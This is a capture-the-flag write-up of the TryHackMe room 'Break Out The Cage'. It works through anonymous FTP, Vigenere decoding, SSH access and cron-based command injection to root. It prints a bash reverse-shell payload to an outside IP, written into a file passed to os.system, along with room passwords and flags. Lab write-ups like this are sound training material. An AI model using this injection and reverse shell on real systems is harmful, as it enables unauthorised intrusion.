Platform: TryHackMe Room: Break Out The Cage Difficulty: Easy Author: Shikhali Jamalzade GitHub: github.com/alisalive LinkedIn: linkedin.com/in/camalzads
"Put… the bunny… back… in the box." — Con Air
Overview
Break Out The Cage is an Easy-rated TryHackMe room themed around the one and only Nicolas Cage. Despite the lighthearted theme, the room chains together several real-world attack techniques: anonymous FTP access, multi-layer cryptography, SSH lateral movement, cron-based command injection, and classical cipher analysis for privilege escalation.
This writeup documents the complete attack chain from initial recon to root.
Reconnaissance
Port Scanning
Starting with a full-port Nmap scan to get a complete picture of the attack surface:
nmap 10.48.182.244 -p- --open -sVC -Pn -nResults:
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.3
| ftp-anon: Anonymous FTP login allowed
|_-rw-r--r-- 1 0 0 396 May 25 2020 dad_tasks
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3
80/tcp open http Apache httpd 2.4.29 (Ubuntu)Three open ports. The most interesting finding right away: anonymous FTP login is allowed, and there's already a file sitting there — dad_tasks.
Web Enumeration
Port 80 hosts a Nicolas Cage personal website. Poking around the source, it's a static HTML page — no login forms, no dynamic content. The real entry point is FTP.
Initial Access
Step 1 — Anonymous FTP & Exfiltration
Connecting to FTP without credentials:
ftp 10.48.182.244
# Username: anonymous
# Password: (blank)
ftp> get dad_tasksThe file content:
UWFwdyBFZWtjbCAtIFB2ciBSTUtQLi4uWFpXIFZXVVIuLi4gVFRJIFhFRi4uLiBMQUEgWlJH
UVJPIS...Classic Base64. Decoding immediately:
cat dad_tasks | base64 -dOutput:
Qapw Eekcl - Pvr RMKP...XZW VWUR... TTI XEF... LAA ZRGQRO!!!!
Sfw. Kajnmb xsi owuowge
Faz. Tml fkfr qgseik ag oqeibx
Eljwx. Xil bqi aiklbywqe
Rsfv. Zwel vvm imel sumebt lqwdsfk
Yejr. Tqenl Vsw svnt "urqsjetpwbn einyjamu" wf.
Iz glww A ykftef.... QjhsvbouuoexcmvwkwwatfllxughhbbcmydizwlkbsidiuscwlStill encrypted. The structure looks like a Vigenere cipher.
Step 2 — Vigenere Cipher Decryption
The first line Qapw Eekcl immediately looks like Nicholas Cage — same character count, same word lengths. Using this as a known-plaintext attack on dcode.fr/vigenere-cipher:
- Method: Knowing a plaintext word
- Ciphertext fragment:
Qapw Eekcl - Known plaintext:
Nicholas Cage
Key recovered: NAMELESSSTWO
Full decrypted text:
Dads Tasks - The RAGE...THE CAGE... THE MAN... THE LEGEND!!!!
One. Revamp the website
Two. Put more quotes in script
Three. Buy bee pesticide
Four. Help him with acting lessons
Five. Teach Dad what "information security" is.
In case I forget....
MydadisghostrideraintthatcoolnocausehesonfirejokesThe last line is clearly a password. The website mentioned his son Weston set it up — that gives us a username.
Step 3 — SSH as weston
ssh weston@10.48.182.244
# Password: MydadisghostrideraintthatcoolnocausehesonfirejokesWe're in.
Privilege Escalation — weston → cage
Enumeration
Running sudo -l:
User weston may run the following commands on national-treasure:
(root) /usr/bin/bees/usr/bin/bees just runs wall "AHHHHHHH THEEEEE BEEEEESSSS!!" — not directly exploitable.
Checking group memberships:
id
# uid=1001(weston) gid=1001(weston) groups=1001(weston),1000(cage)Weston is in the cage group. Running LinPEAS reveals a critical finding:
Group cage:
/opt/.dads_scripts/.files/.quotes (-rwxrw----)The .quotes file is group-writable. Investigating further:
cat /opt/.dads_scripts/spread_the_quotes.py
#!/usr/bin/env python
import os
import random
lines = open("/opt/.dads_scripts/.files/.quotes").read().splitlines()
quote = random.choice(lines)
os.system("wall " + quote)This script reads a random line from .quotes and passes it directly to os.system("wall " + quote). That's command injection — whatever is in .quotes gets executed as a shell command.
Watching the broadcast messages confirms the script runs every 3 minutes via a cron job under the cage user.
Exploitation — Cron-based Command Injection
Setting up a listener on the attack machine:
nc -lvnp 4445Replacing the contents of .quotes with a single reverse shell payload so random.choice has no other option:
echo 'x; bash -c "bash -i >& /dev/tcp/192.168.144.75/4445 0>&1"; #' > /opt/.dads_scripts/.files/.quotesWhen the cron job fires, os.system executes:
wall x; bash -c "bash -i >& /dev/tcp/192.168.144.75/4445 0>&1"; #Shell received as cage.
cage@national-treasure:~$Flag 1
cat ~/Super_Duper_Checklist
5 - Figure out why Weston has this etched into his desk: THM{M37AL_0R_P3N_T35T1NG}Privilege Escalation — cage → root
Email Analysis
Enumerating cage's home directory reveals an email_backup folder with three emails. email_3 stands out:
From - Cage@nationaltreasure.com
To - Weston@nationaltreasure.com
Hey Son,
Sean left a note on his desk with some really strange writing on it.
Could you look into it please? The note said:
haiinspsyanilephThe email also mentions Sean is "obsessed with my face lately. He came in wearing a mask of my face."
Key hint: FACE
Vigenere Decryption — Round 2
Back to dcode.fr/vigenere-cipher:
- Ciphertext:
haiinspsyanileph - Key:
FACE
Plaintext: cageisnotalegend
Root Access
su root
# Password: cageisnotalegend
root@national-treasure:~#Flag 2
cat ~/email_backup/email_2
To ascend yourself to this level please use this code:
THM{8R1NG_D0WN_7H3_C493_L0N9_L1V3_M3}Attack Chain Summary
[Recon] nmap -p- -sVC
└─► FTP anonymous login → dad_tasks (Base64)
[Crypto] Base64 decode → Vigenere (key: NAMELESSSTWO)
└─► Password: Mydadisghostrideraintthatcoolnocausehesonfirejokes
[Access] SSH → weston@target
[PrivEsc #1] weston ∈ cage group
└─► /opt/.dads_scripts/.files/.quotes (group-writable)
└─► spread_the_quotes.py → os.system() → Command Injection
└─► Cron job (every 3 min) → Reverse shell as cage
[Flag 1] THM{M37AL_0R_P3N_T35T1NG}
[PrivEsc #2] email_backup/email_3 → haiinspsyanileph
└─► Vigenere (key: FACE) → cageisnotalegend
└─► su root
[Flag 2] THM{8R1NG_D0WN_7H3_C493_L0N9_L1V3_M3}Key Takeaways
Anonymous FTP is still a common misconfiguration that leaks sensitive data. Never leave files with credentials or hints accessible without authentication.
Multi-layer encoding (Base64 + Vigenere) provides a false sense of security. Known-plaintext attacks trivially break Vigenere when the attacker can guess even a fragment of the plaintext.
os.system() with unsanitized input is one of the most dangerous patterns in Python scripting. If user-controlled data (even indirectly, through a writable file) reaches os.system(), it's game over. Use subprocess with argument lists instead.
Cron jobs running as privileged users that touch world/group-writable files are a classic privilege escalation vector. Always audit cron job file permissions during a Linux engagement.
Hints hidden in plaintext (the "face" reference in the email) are a common CTF mechanic, but they mirror real-world situations where developers leave cryptographic keys in comments, emails, or documentation.
Tools Used
Tool Purpose Nmap Port scanning & service detection ftp Anonymous FTP access base64 Decoding dad_tasks dcode.fr Vigenere cipher analysis LinPEAS Linux privilege escalation enumeration nc (netcat) Reverse shell listener ssh Remote access
Author: Shikhali Jamalzade GitHub: github.com/alisalive LinkedIn: linkedin.com/in/camalzads